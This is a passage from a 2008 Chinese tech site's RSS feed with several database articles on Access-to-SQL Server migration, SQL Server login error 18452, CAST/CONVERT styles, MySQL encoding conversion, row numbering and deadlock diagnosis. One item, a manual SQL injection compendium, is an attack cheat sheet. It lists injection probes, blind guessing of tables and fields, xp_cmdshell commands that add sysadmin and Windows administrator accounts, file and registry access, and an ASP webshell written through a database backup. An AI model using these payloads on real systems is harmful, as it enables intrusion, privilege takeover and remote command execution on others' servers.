		<description><![CDATA[在软件开发过程中经常会遇到数据库升迁的问题，原因比较多，如acsess访问速度比sql server慢、删除数据记录后Access会留下空档，文件越来越大(也可用压缩修复的方式减小文件大小，但太麻烦)，访问速度越来越慢，甚至会数据库损坏，损坏得比较轻的可以找第三方工具来修复，便严重时会导致数据库无法修复，或修复后数据记录会损坏。所以我们大有必要升迁我们现有的Access数据库到SQL Server。<br/><br/>　　现谈谈笔者在升迁时的做法及注意事项<br/><br/>　　1，对于日期字段字段<br/><br/>　　access表示为:#1981-28-12#<br/><br/>　　SQLSERVER2000表示为:&#39;&#39;1981-02-12&#39;&#39;<br/><br/>　　2,SQL语句区别，sel&#101;ct ,up&#100;ate 在对单表操作时都差不多，但多表操作时up&#100;ate语句的区别ACCESS与SQLSERVER中的Up&#100;ate语句对比:<br/><br/>　　SQLSERVER中更新多表的Up&#100;ate语句:<br/><br/>　　Up&#100;ate Tab1<br/><br/>　　SET a.Name = b.Name<br/><br/>　　FROM Tab1 a,Tab2 b<br/><br/>　　Wh&#101;re a.ID = b.ID;<br/><br/>　　同样功能的SQL语句在ACCESS中应该是<br/><br/>　　Up&#100;ate Tab1 a,Tab2 b<br/><br/>　　SET a.Name = b.Name<br/><br/>　　Wh&#101;re a.ID = b.ID;<br/><br/>　　即:ACCESS中的Up&#100;ate语句没有FROM子句,所有引用的表都列在Up&#100;ate关键字后.<br/><br/>　　更新单表时:都为:<br/><br/>　　Up&#100;ate table1 set ab=&#39;12&#39;,cd=444 wh&#101;re ....<br/><br/>　　3,del&#101;te语句<br/><br/>　　access中删除时用:del&#101;te * from table1 wh&#101;re a&gt;2 即只要把sel&#101;ct 语句里的sel&#101;ct 换成del&#101;te就可以了。<br/><br/>　　sqlserve 中则为: del&#101;te from table1 wh&#101;re a&gt;2 即没有*号<br/><br/>　　4，as 后面的计算字段区别<br/><br/>　　access中可以这样:sel&#101;ct a,sum(num) as kc_num,kc_num*num as all_kc_num 即可以把AS后的字段当作一个数据库字段参与计算。<br/><br/>　　sqlserver 中则为:sel&#101;ct a,sum(num) as kc_num,sum(num)*num as all_kc_num 即不可以把AS后的字段当作一个数据库字段参与计算。<br/><br/>　　5，[.]与[!]的区别<br/><br/>　　access中多表联合查询时:sel&#101;ct tab1!a as tab1a,tab2!b tab2b from tab1,tab2 ,中间的AS可以不要。<br/><br/>　　sqlserve 中则:sel&#101;ct tab1.a as tab1a,tab2.b tab2b from tab1,tab2 ,中间的AS可以不要。<br/><br/>　　6,联合查询时，<br/><br/>　　access中多表联合查询:&#39;sel&#101;ct a,b from(<br/><br/>　　sel&#101;ct a,b from tab1 wh&#101;re a&gt;3 union sel&#101;ct c,d from tab2 ) group by a,b<br/><br/>　　sqlserve 中则&#39;sel&#101;ct a,b from(<br/><br/>　　sel&#101;ct a,b from tab1 wh&#101;re a&gt;3 union sel&#101;ct c,d from tab2 ) tmptable group by a,b即要加一个虚的表tmptable，表名任意。---<br/><br/>　　7，access升级到sqlserver时，可以用sqlserver的数据导入工具导入数据，但要做必要的处理。<br/><br/>　　access中的自动编号，不会自动转换SQL中的自动编号，只能转换为int型，要把它手工改成标识字段，种子为1，把所有导入被sqlserver转化成的以n开头的字段类型的n去掉，如nvarchar-&gt;varchar.把需要有秒类型的日期字段改成datatime类型(SQL会把所有的日期开转化成smalldatetime型)<br/><br/>　　8,true与1=1<br/><br/>　　access用wh&#101;re true表示条件为真,<br/><br/>　　sqlserver用wh&#101;re 1=1表示条件为真<br/><br/>　　9,判断字段值为空的区别<br/><br/>　　普通空:<br/><br/>　　Access和sql server一样 wh&#101;re code is null 或 wh&#101;re code is nol null<br/><br/>　　条件空:<br/><br/>　　Access:iif([num] is null,0,[num]) 或 iif([num] is null,[num1],[num])<br/><br/>　　SQLServer: isnull([num],0) 或 isnull([num],[num1])<br/><br/>　　10,SQL语句取子串的区别<br/><br/>　　access:MID(字段，n1，[n2])，LEFT(字段，n)，RIGHT(字段，n)<br/><br/>　　如:sel&#101;ct left(cs1,4)+&#39;-&#39;+cs2 as cs3<br/><br/>　　SQLServer: SUBSTRING(eXPression, start, length)<br/><br/>　　如:sel&#101;ct substring(cs1, 1, 2) + substring(cs1, 4, 2) + &#39;-&#39; + cs2 as cs3<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2572.htm</link>
			<title><![CDATA[SQL手工注入大全]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:40:56 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2572</guid>
		<description><![CDATA[比方说在查询id是50的数据时，如果用户传近来的参数是50 and 1=1，如果没有设置过滤的话，可以直接查出来，SQL 注入一般在ASP程序中遇到最多， <br/><br/>看看下面的&nbsp;&nbsp;<br/>1.判断是否有注入&nbsp;&nbsp;<br/>;and 1=1&nbsp;&nbsp;<br/>;and 1=2 <br/>2.初步判断是否是mssql&nbsp;&nbsp;<br/>;and user&gt;0 <br/>3.判断数据库系统&nbsp;&nbsp;<br/>;and (sel&#101;ct count(*) from sysobjects)&gt;0 mssql&nbsp;&nbsp;<br/>;and (sel&#101;ct count(*) from msysobjects)&gt;0 access <br/>4.注入参数是字符&nbsp;&nbsp;<br/>&#39;and [查询条件] and &#39;&#39;=&#39; <br/>5.搜索时没过滤参数的&nbsp;&nbsp;<br/>&#39;and [查询条件] and &#39;%25&#39;=&#39; <br/>6.猜数据库&nbsp;&nbsp;<br/>;and (sel&#101;ct Count(*) from [数据库名])&gt;0 <br/>7.猜字段&nbsp;&nbsp;<br/>;and (sel&#101;ct Count(字段名) from 数据库名)&gt;0 <br/>8.猜字段中记录长度&nbsp;&nbsp;<br/>;and (sel&#101;ct top 1 len(字段名) from 数据库名)&gt;0 <br/>9.(1)猜字段的ascii值（access）&nbsp;&nbsp;<br/>;and (sel&#101;ct top 1 asc(mid(字段名,1,1)) from 数据库名)&gt;0 <br/>(2)猜字段的ascii值（mssql）&nbsp;&nbsp;<br/>;and (sel&#101;ct top 1 unicode(substring(字段名,1,1)) from 数据库名)&gt;0 <br/>10.测试权限结构（mssql）&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;sysadmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;serveradmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;setupadmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;securityadmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;diskadmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_SRVROLEMEMBER(&#39;bulkadmin&#39;));--&nbsp;&nbsp;<br/>;and 1=(sel&#101;ct IS_MEMBER(&#39;db_owner&#39;));-- <br/>11.添加mssql和系统的帐户&nbsp;&nbsp;<br/>;exec master.dbo.sp_addlogin username;--&nbsp;&nbsp;<br/>;exec master.dbo.sp_password null,username,password;--&nbsp;&nbsp;<br/>;exec master.dbo.sp_addsrvrolemember sysadmin username;--&nbsp;&nbsp;<br/>;exec master.dbo.xp_cmdshell &#39;net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add&#39;;--&nbsp;&nbsp;<br/>;exec master.dbo.xp_cmdshell &#39;net user username password /add&#39;;--&nbsp;&nbsp;<br/>;exec master.dbo.xp_cmdshell &#39;net localgroup administrators username /add&#39;;-- <br/>12.(1)遍历目录&nbsp;&nbsp;<br/>;cr&#101;ate table dirs(paths varchar(100), id int)&nbsp;&nbsp;<br/>;ins&#101;rt dirs exec master.dbo.xp_dirtree &#39;c:\&#39;&nbsp;&nbsp;<br/>;and (sel&#101;ct top 1 paths from dirs)&gt;0&nbsp;&nbsp;<br/>;and (sel&#101;ct top 1 paths from dirs wh&#101;re paths not in(&#39;上步得到的paths&#39;))&gt;) <br/>(2)遍历目录&nbsp;&nbsp;<br/>;cr&#101;ate table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--&nbsp;&nbsp;<br/>;ins&#101;rt temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器&nbsp;&nbsp;<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_subdirs &#39;c:\&#39;;-- 获得子目录列表&nbsp;&nbsp;<br/>;ins&#101;rt into temp(id,num1) exec master.dbo.xp_dirtree &#39;c:\&#39;;-- 获得所有子目录的目录树结构&nbsp;&nbsp;<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_cmdshell &#39;type c:\web\index.asp&#39;;-- 查看文件的内容 <br/>13.mssql中的存储过程&nbsp;&nbsp;<br/>xp_regenumvalues 注册表根键, 子键&nbsp;&nbsp;<br/>;exec xp_regenumvalues &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#39; 以多个记录集方式返回所有键值&nbsp;&nbsp;<br/>xp_regread 根键,子键,键值名&nbsp;&nbsp;<br/>;exec xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;CommonFilesDir&#39; 返回制定键的值&nbsp;&nbsp;<br/>xp_regwrite 根键,子键, 值名, 值类型, 值&nbsp;&nbsp;<br/>值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型&nbsp;&nbsp;<br/>;exec xp_regwrite &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestvalueName&#39;,&#39;reg_sz&#39;,&#39;hello&#39; 写入注册表&nbsp;&nbsp;<br/>xp_regdel&#101;tevalue 根键,子键,值名&nbsp;&nbsp;<br/>exec xp_regdel&#101;tevalue &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion&#39;,&#39;TestvalueName&#39; 删除某个值&nbsp;&nbsp;<br/> <br/> xp_regdel&#101;tekey &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey&#39; 删除键,包括该键下所有值 <br/>14.mssql的backup创建webshell&nbsp;&nbsp;<br/>use model&nbsp;&nbsp;<br/>cr&#101;ate table cmd(str image);&nbsp;&nbsp;<br/>ins&#101;rt into cmd(str) values (&#39;&lt;% Dim oScript %&gt;&#39;);&nbsp;&nbsp;<br/>backup database model to disk=&#39;c:\l.asp&#39;; <br/>15.mssql内置函数&nbsp;&nbsp;<br/>;and (sel&#101;ct @@version)&gt;0 获得Windows的版本号&nbsp;&nbsp;<br/>;and user_name()=&#39;dbo&#39; 判断当前系统的连接用户是不是sa&nbsp;&nbsp;<br/>;and (sel&#101;ct user_name())&gt;0 爆当前系统的连接用户&nbsp;&nbsp;<br/>;and (sel&#101;ct db_name())&gt;0 得到当前连接的数据库 <br/><br/>16.简洁的webshell&nbsp;&nbsp;<br/>use model&nbsp;&nbsp;<br/>cr&#101;ate table cmd(str image);&nbsp;&nbsp;<br/>ins&#101;rt into cmd(str) values (&#39;&lt;%=server.cr&#101;ateobject(&#34;wscript.shell&#34;).exec(&#34;cmd.exe /c &#34;&amp;request(&#34;c&#34;)).stdout.readall%&gt;&#39;);&nbsp;&nbsp;<br/>backup database model to disk=&#39;g:\wwwtest\l.asp&#39;; <br/>请求的时候，像这样子用：&nbsp;&nbsp;<br/><a href="http://ip/l.asp?c=dir" target="_blank" rel="external">http://ip/l.asp?c=dir</a> <br/>前提需要工具：SQL Query Analyzer和SqlExec Sunx Version <br/>1.去掉xp_cmdshell扩展过程的方法是使用如下语句： <br/>if exists (sel&#101;ct * from dbo.sysobjects wh&#101;re id=object_id(N&#39;[dbo].[xpcmdshell]&#39;) and OBJECTPROPERTY(id,N&#39;IsExtendedProc&#39;)=1)&nbsp;&nbsp;<br/>exec sp_dro&#112;extendedproc N&#39;[dbo].[xp_cmdshell]&#39; <br/>2.添加xp_cmdshell扩展过程的方法是使用如下语句： <br/>（1）SQL Query Analyzer <br/>sp_addextendedproc xp_cmdshell,@dllname=&#39;xplog70.dll&#39; <br/>（2）首先在SqlExec Sunx Version的Format选项里填上%s，在CMD选项里输入 <br/>sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xpsql70.dll&#39; <br/>去除 <br/>sp_dro&#112;extendedproc &#39;xp_cmdshell&#39; <br/>（3）MSSQL2000 <br/>sp_addextendedproc &#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39; <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2571.htm</link>
			<title><![CDATA[SQLServer错误18452]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:40:16 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2571</guid>
		<description><![CDATA[对于用户 &#39; 用户名 &#39; 登录失败。 用户将不与可信 SQLServer 连接关联。 （MicrosoftSQLServer、 错误 18452：）症状<br/><br/>以下错误服务器可能出现在登录过程与 SQL： &#34; 登录为 &#39; 用户名 &#39; 用户失败。 用户将不与可信 SQLServer 连接关联。 （MicrosoftSQLServer、 错误 18452:) &#34;。<br/>原因<br/>SQL 服务器已配置为在 &#34; Windows 身份验证模式 （Windows 身份验证） &#34; 操作和不允许<br/>使用 SQL 帐户。<br/> <br/>解决方案<br/>从 &#34; Windows 身份验证模式 （Windows 身份验证） &#34; 的 SQL 服务器身份验证模式更改 <br/>到 &#34; 混合模式 （Windows 身份验证和 SQLServer 身份验证） &#34;。<br/>更多信息<br/> <br/>身份验证模式<br/> <br/><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/adminsql/ad_security_47u6.asp" target="_blank" rel="external">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/adminsql/ad_security_47u6.asp</a><br/> <br/>INF： 如何连接到 SQL Server 2000 命名实例与以前版本的客户端工具 <br/> <br/><a href="http://support.microsoft.com/default.aspx?scid=kb" target="_blank" rel="external">http://support.microsoft.com/default.aspx?scid=kb</a>;en-us;265808 <br/>--------------------------------------------------------------------------------<br/><br/>这篇文章中的信息适用于:<br/>• Microsoft SQL Server 2000 Enterprise Edition <br/>• Microsoft SQL Server 2000 64-bit Edition <br/>• Microsoft SQL Server 2000 Standard Edition <br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2570.htm</link>
			<title><![CDATA[将某种数据类型的表达式显式转换为另一种数据类型。CAST 和 CONVERT 提供相似的功能]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:39:40 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2570</guid>
		<description><![CDATA[语法<br/>使用 CAST：<br/><br/>CAST ( e&#173;xpression AS data_type ) <br/><br/>使用 CONVERT：<br/><br/>CONVERT (data_type[(length)], e&#173;xpression [, style])<br/><br/>参数<br/>e&#173;xpression<br/><br/>是任何有效的 Microsoft® SQL Server™ 表达式。有关更多信息，请参见表达式。<br/><br/>data_type<br/><br/>目标系统所提供的数据类型，包括 bigint 和 sql_variant。不能使用用户定义的数据类型。有关可用的数据类型的更多信息，请参见数据类型。<br/><br/>length<br/><br/>nchar、nvarchar、char、varchar、binary 或 varbinary 数据类型的可选参数。<br/><br/>style<br/><br/>日期格式样式，借以将 datetime 或 smalldatetime 数据转换为字符数据（nchar、nvarchar、char、varchar、nchar 或 nvarchar 数据类型）；或者字符串格式样式，借以将 float、real、money 或 smallmoney 数据转换为字符数据（nchar、nvarchar、char、varchar、nchar 或 nvarchar 数据类型）。<br/><br/>SQL Server 支持使用科威特算法的阿拉伯样式中的数据格式。<br/><br/>在表中，左侧的两列表示将 datetime 或 smalldatetime 转换为字符数据的 style 值。给 style 值加 100，可获得包括世纪数位的四位年份 (yyyy)。<br/><br/>不带世纪数位 (yy) 带世纪数位 (yyyy) <br/>标准 <br/>输入/输出** <br/>- 0 或 100 (*) 默认值 mon dd yyyy hh:miAM（或 PM） <br/>1 101 美国 mm/dd/yyyy <br/>2 102 ANSI yy.mm.dd <br/>3 103 英国/法国 dd/mm/yy <br/>4 104 德国 dd.mm.yy <br/>5 105 意大利 dd-mm-yy <br/>6 106 - dd mon yy <br/>7 107 - mon dd, yy <br/>8 108 - hh:mm:ss <br/>- 9 或 109 (*) 默认值 + 毫秒 mon dd yyyy hh:mi:ss:mmmAM（或 PM） <br/>10 110 美国 mm-dd-yy <br/>11 111 日本 yy/mm/dd <br/>12 112 ISO yymmdd <br/>- 13 或 113 (*) 欧洲默认值 + 毫秒 dd mon yyyy hh:mm:ss:mmm(24h) <br/>14 114 - hh:mi:ss:mmm(24h) <br/>- 20 或 120 (*) ODBC 规范 yyyy-mm-dd hh:mm:ss[.fff] <br/>- 21 或 121 (*) ODBC 规范（带毫秒） yyyy-mm-dd hh:mm:ss[.fff] <br/>- 126(***) ISO8601 yyyy-mm-dd Thh:mm:ss:mmm（不含空格） <br/>- 130* 科威特 dd mon yyyy hh:mi:ss:mmmAM <br/>- 131* 科威特 dd/mm/yy hh:mi:ss:mmmAM <br/><br/> <br/><br/>*&nbsp;&nbsp;&nbsp;&nbsp;默认值（style 0 或 100、9 或 109、13 或 113、20 或 120、21 或 121）始终返回世纪数位 (yyyy)。<br/>** 当转换为 datetime 时输入；当转换为字符数据时输出。<br/>*** 专门用于 XML。对于从 datetime 或 smalldatetime 到 character 数据的转换，输出格式如表中所示。对于从 float、money 或 smallmoney 到 character 数据的转换，输出等同于 style 2。对于从 real 到 character 数据的转换，输出等同于 style 1。<br/><br/><br/><br/><br/>重要&nbsp;&nbsp;默认情况下，SQL Server 根据截止年份 2049 解释两位数字的年份。即，两位数字的年份 49 被解释为 2049，而两位数字的年份 50 被解释为 1950。许多客户端应用程序（例如那些基于 OLE 自动化对象的客户端应用程序）都使用 2030 作为截止年份。SQL Server 提供一个配置选项（&#34;两位数字的截止年份&#34;），借以更改 SQL Server 所使用的截止年份并对日期进行一致性处理。然而最安全的办法是指定四位数字年份。<br/><br/> <br/><br/>当从 smalldatetime 转换为字符数据时，包含秒或毫秒的样式将在这些位置上显示零。当从 datetime 或 smalldatetime 值进行转换时，可以通过使用适当的 char 或 varchar 数据类型长度来截断不需要的日期部分。<br/><br/>下表显示了从 float 或 real 转换为字符数据时的 style 值。<br/><br/>值 输出 <br/>0（默认值） 最大为 6 位数。根据需要使用科学记数法。 <br/>1 始终为 8 位值。始终使用科学记数法。 <br/>2 始终为 16 位值。始终使用科学记数法。 <br/><br/> <br/><br/>在下表中，左列表示从 money 或 smallmoney 转换为字符数据时的 style 值。<br/><br/>值 输出 <br/>0（默认值） 小数点左侧每三位数字之间不以逗号分隔，小数点右侧取两位数，例如 4235.98。 <br/>1 小数点左侧每三位数字之间以逗号分隔，小数点右侧取两位数，例如 3,510.92。 <br/>2 小数点左侧每三位数字之间不以逗号分隔，小数点右侧取四位数，例如 4235.9819。 <br/><br/> <br/><br/>返回类型<br/>返回与 data type 0 相同的值。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2569.htm</link>
			<title><![CDATA[mysql编码转换]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:37:41 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2569</guid>
		<description><![CDATA[背景：某个系统的mysql数据库dnname采用默认的latin1字符集，系统升级需要将所有数据转换成utf-8格式，目标数据库为newdbname(建库时使用utf8)<br/><br/>方法一：<br/><br/>步骤一 命令行执行：mysqldump --opt -hlocalhost -uroot -p*** --default-character-set=lantin1 dbname &gt; /usr/local/dbname.sql<br/><br/>步骤二 将 dbname.sql文件中的cr&#101;ate table语句的CHARSET=latin1改为CHARSET=utf8<br/><br/>步骤三 在dbname.sql文件中的ins&#101;rt语句之前加一条&#39;set names utf8;&#39;<br/><br/>步骤四 将dbname.sql转码为utf-8格式，建议使用UltraEditor，可以直接使用该编辑器的&#39;转换-&gt;ASCII到UTF-8(Unicode编辑)&#39;，或者将文件另存为UTF-8(无BOM)格式<br/><br/>步骤五 命令行执行：mysql -hlocalhost -uroot -p*** --default-character-set=utf8 new_dbname &lt; /usr/local/dbname.sql<br/><br/>总结：这种方法有个致命之处就是当数据中有大量中文字符和其他特殊符号字符时，很有可能导致在[步骤五]时报错导致无法正常导入数据，如果数据库比较大可以分别对每张表执行上述步骤<br/><br/>方法二（推荐大家使用）：<br/><br/>为了解决第一种方法中总结时说到的问题，在网上苦苦查找了一天资料才东拼西凑的搞出一个比较稳妥的解决方法<br/><br/>步骤一 将待导出的数据表的表结构导出（可以用Phpmyadmin、mysqldump等，很简单就不说了），然后将导出的cr&#101;ate table语句的CHARSET=latin1改为CHARSET=utf8，在目标库newdbname中执行该cr&#101;ate table语句把表结构建好，接下来开始导出-导入数据。命令：<br/><br/>./mysqldump -d DB_Dig &gt; /usr/local/tmp/tables.sql<br/> <br/><br/>步骤二 命令行：进入mysql命令行下，mysql -hlocalhost -uroot -p*** dbname<br/><br/>步骤三 执行SQL sel&#101;ct * from tbname into outfile &#39;/usr/local/tbname.sql&#39;;<br/><br/>步骤四 将tbname.sql转码为utf-8格式，建议使用UltraEditor，可以直接使用该编辑器的&#39;转换-&gt;ASCII到UTF-8(Unicode编辑)&#39;，或者将文件另存为UTF-8(无BOM)格式<br/><br/>步骤五 在mysql命令行下执行语句 set character_set_database=utf8;&nbsp;&nbsp;注：设置mysql的环境变量，这样mysql在下一步读取sql文件时将以utf8的形式去解释该文件内容<br/><br/>步骤六 在mysql命令行下执行语句 load data infile &#39;tbname.sql&#39; into table newdbname.tbname;<br/><br/>注意：千万不要忘了第四步<br/><br/>采用第二种方法，所有数据均正常导入，且格式转换成功没有乱码。<br/><br/><br/>参考：<a href="http://blog.csdn.net/guoguo1980/archive/2008/01/28/2070701.aspx" target="_blank" rel="external">http://blog.csdn.net/guoguo1980/archive/2008/01/28/2070701.aspx</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2568.htm</link>
			<title><![CDATA[如何在MySQL查询结果集中得到记录行号]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:36:41 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2568</guid>
		<description><![CDATA[如果需要在查询语句返回的列中包含一列表示该条记录在整个结果集中的行号， iso sql:2003 标准提出的方法是提供 row_number() / rank() 函数。 o&#114;acle 中可以使用标准方法（8i版本以上），也可以使用非标准的 rownum ； ms SQL Server 则在 2005 版本中提供了 row_number() 函数；但在 MySQL 中似乎还没有这样的系统自带功能。虽然 limit 可以很方便的对返回的结果集数量和位置进行过滤，但过滤出来的记录的行号却没办法被 sel&#101;ct 到。据说 mysql 是早就想增加这个功能了，但我是还没找到。<br/><br/> 解决方法是通过预定义用户变量来实现：<br/><br/>set @mycnt = 0; <br/>sel&#101;ct (@mycnt := @mycnt + 1) as rownum , othercol from tblname o&#114;der by othercol;<br/><br/>这样查询出来的结果集中 rownum 就保存了行编号信息。这个行编号信息的某种用途在于当你需要根据需要对数据按照某种规则排序并取出排序之后的某一行数据，并且希望知道这行数据在之前排序中的位置时就用得着了。比如：<br/><br/>set @mycnt = 0; <br/>sel&#101;ct * from ( <br/>sel&#101;ct (@mycnt := @mycnt + 1) as rownum , othercol <br/>from tblname o&#114;der by othercol <br/>) as a wh&#101;re othercol=onekeyid;<br/><br/>当然你也可以通过创建临时表的方法把查询结果写到某个拥有 auto_increment 字段的临时表中再做查询，但考虑到临时表在 mysql master / slave 模式下可能产生的问题，用这样临时用户定义变量的方式来计算查询结果集每一行对应的行号还是更为简洁 -- 除非你愿意在 php 或其他语言脚本中对返回的整个结果集再作处理。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2567.htm</link>
			<title><![CDATA[数据库死锁导致站点访问故障解决方案]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:35:44 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2567</guid>
		<description><![CDATA[前段时间完成了一个项目，但是现在该网站访问不了，真是郁闷，主机重启之后，网站运行正常，“狗”（google）也放了，“csdn”也帖了，没有解决，苦恼，后来发现是数据库死锁造成的问题。 通过这个问题，我对数据库思索也小小研究了一下，写一点相关知识。 <br/><br/>死锁原因： <br/><br/>提取查询数据相应数据，修改Stat表，都是修改同一条数据，进行大数据量的操作，多用户同时操作时，造成数据库死锁和阻塞； <br/><br/>相关知识： <br/><br/>1、SQL死锁和阻塞。 <br/><br/>2、死锁测试方法：程序中将数据库操作，循环操作1万次，打开多个窗口同时执行。 <br/><br/>3、查找数据库死锁原因的方法。 <br/><br/>下面的SQL语句运行之后，便可以查找出SQLServer的死锁和阻塞的源头。 <br/><br/><br/>use master<br/>go<br/>declare @spid int,@bl int<br/>DECLARE s_cur CURSOR FOR <br/>sel&#101;ct&nbsp;&nbsp;0 ,blocked<br/>from (sel&#101;ct * from sysprocesses wh&#101;re&nbsp;&nbsp;blocked&gt;0 ) a <br/>wh&#101;re not exists(sel&#101;ct * from (sel&#101;ct * from sysprocesses wh&#101;re&nbsp;&nbsp;blocked&gt;0 ) b <br/>wh&#101;re a.blocked=spid)<br/>union sel&#101;ct spid,blocked from sysprocesses wh&#101;re&nbsp;&nbsp;blocked&gt;0<br/>OPEN s_cur<br/>FETCH NEXT FROM s_cur INTO @spid,@bl<br/>WHILE @@FETCH_STATUS = 0<br/>begin<br/>if @spid =0 <br/> sel&#101;ct &#39;引起数据库死锁的是: <br/>&#39;+ CAST(@bl AS VARCHAR(10)) + &#39;进程号,其执行的SQL语法如下&#39;<br/>else<br/>sel&#101;ct &#39;进程号SPID：&#39;+ CAST(@spid AS VARCHAR(10))+ &#39;被&#39; + &#39;<br/>进程号SPID：&#39;+ CAST(@bl AS VARCHAR(10)) +&#39;阻塞,其当前进程执行的SQL语法如下&#39;<br/>DBCC INPUTBUFFER (@bl )<br/>FETCH NEXT FROM s_cur INTO @spid,@bl<br/>end<br/>CLOSE s_cur<br/>DEALLOCATE s_cur<br/><br/>exec sp_who2 <br/><br/>4、查看当前进程,或死锁进程,并能自动杀掉死进程： <br/><br/>处理死锁 <br/><br/>查看当前进程,或死锁进程,并能自动杀掉死进程。因为是针对死的,所以如果有死锁进程,只能查看死锁进程。当然,你可以通过参数控制,不管有没有死锁,都只查看死锁进程。 <br/><br/>调用示例 <br/><br/><br/>exec p_lockinfo<br/>--*/<br/>cr&#101;ate proc p_lockinfo<br/>@kill_lock_spid bit=1, --是否杀掉死锁的进程,1 杀掉, 0 仅显示<br/>@show_spid_if_nolock bit=1 --如果没有死锁的进程,<br/>是否显示正常进程信息,1 显示,0 不显示<br/>as<br/>declare @count int,@s nvarchar(1000),@i int<br/>sel&#101;ct id=identity(int,1,1),标志,<br/>进程ID=spid,线程ID=kpid,块进程ID=blocked,数据库ID=dbid,<br/>数据库名=db_name(dbid),用户ID=uid,用户名=loginame,累计CPU时间=cpu,<br/>登陆时间=login_time,打开事务数=open_tran, 进程状态=status,<br/>工作站名=hostname,应用程序名=program_name,工作站进程ID=hostprocess,<br/>域名=nt_domain,网卡地址=net_address<br/>into #t from(<br/>sel&#101;ct 标志=&#39;死锁的进程&#39;,<br/>spid,kpid,a.blocked,dbid,uid,loginame,cpu,login_time,open_tran,<br/>status,hostname,program_name,hostprocess,nt_domain,net_address,<br/>s1=a.spid,s2=0<br/>from master..sysprocesses a join (<br/>sel&#101;ct blocked from master..sysprocesses group by blocked<br/>)b on a.spid=b.blocked wh&#101;re a.blocked=0<br/>union all<br/>sel&#101;ct &#39;|_牺牲品_&gt;&#39;,<br/>spid,kpid,blocked,dbid,uid,loginame,cpu,login_time,open_tran,<br/>status,hostname,program_name,hostprocess,nt_domain,net_address,<br/>s1=blocked,s2=1<br/>from master..sysprocesses a wh&#101;re blocked&lt;&gt;0<br/>)a o&#114;der by s1,s2<br/><br/>sel&#101;ct @count=@@rowcount,@i=1<br/><br/>if @count=0 and @show_spid_if_nolock=1<br/>begin<br/>ins&#101;rt #t<br/>sel&#101;ct 标志=&#39;正常的进程&#39;,<br/>spid,kpid,blocked,dbid,db_name(dbid),uid,loginame,cpu,login_time,<br/>open_tran,status,hostname,program_name,hostprocess,nt_domain,net_address<br/>from master..sysprocesses<br/>set @count=@@rowcount<br/>end<br/><br/>if @count&gt;0<br/>begin<br/>cr&#101;ate table #t1(id int identity(1,1),a nvarchar(30),<br/>b Int,EventInfo nvarchar(255))<br/>if @kill_lock_spid=1<br/>begin<br/>declare @spid varchar(10),@标志 varchar(10)<br/>while @i&lt;=@count<br/>begin<br/>sel&#101;ct @spid=进程ID,@标志=标志 from #t wh&#101;re id=@i<br/>ins&#101;rt #t1 exec(&#39;dbcc inputbuffer(&#39;+@spid+&#39;)&#39;)<br/>if @标志=&#39;死锁的进程&#39; exec(&#39;kill &#39;+@spid)<br/>set @i=@i+1<br/>end<br/>end<br/>else<br/>while @i&lt;=@count<br/>begin<br/>sel&#101;ct @s=&#39;dbcc inputbuffer(&#39;+cast(进程ID as varchar)+&#39;)&#39;<br/> from #t wh&#101;re id=@i<br/>ins&#101;rt #t1 exec(@s)<br/>set @i=@i+1<br/>end<br/>sel&#101;ct a.*,进程的SQL语句=b.EventInfo<br/>from #t a join #t1 b on a.id=b.id<br/>end<br/>go <br/><br/>OK，多多指教! <br/>]]></description>
		</item>
		
			<item>
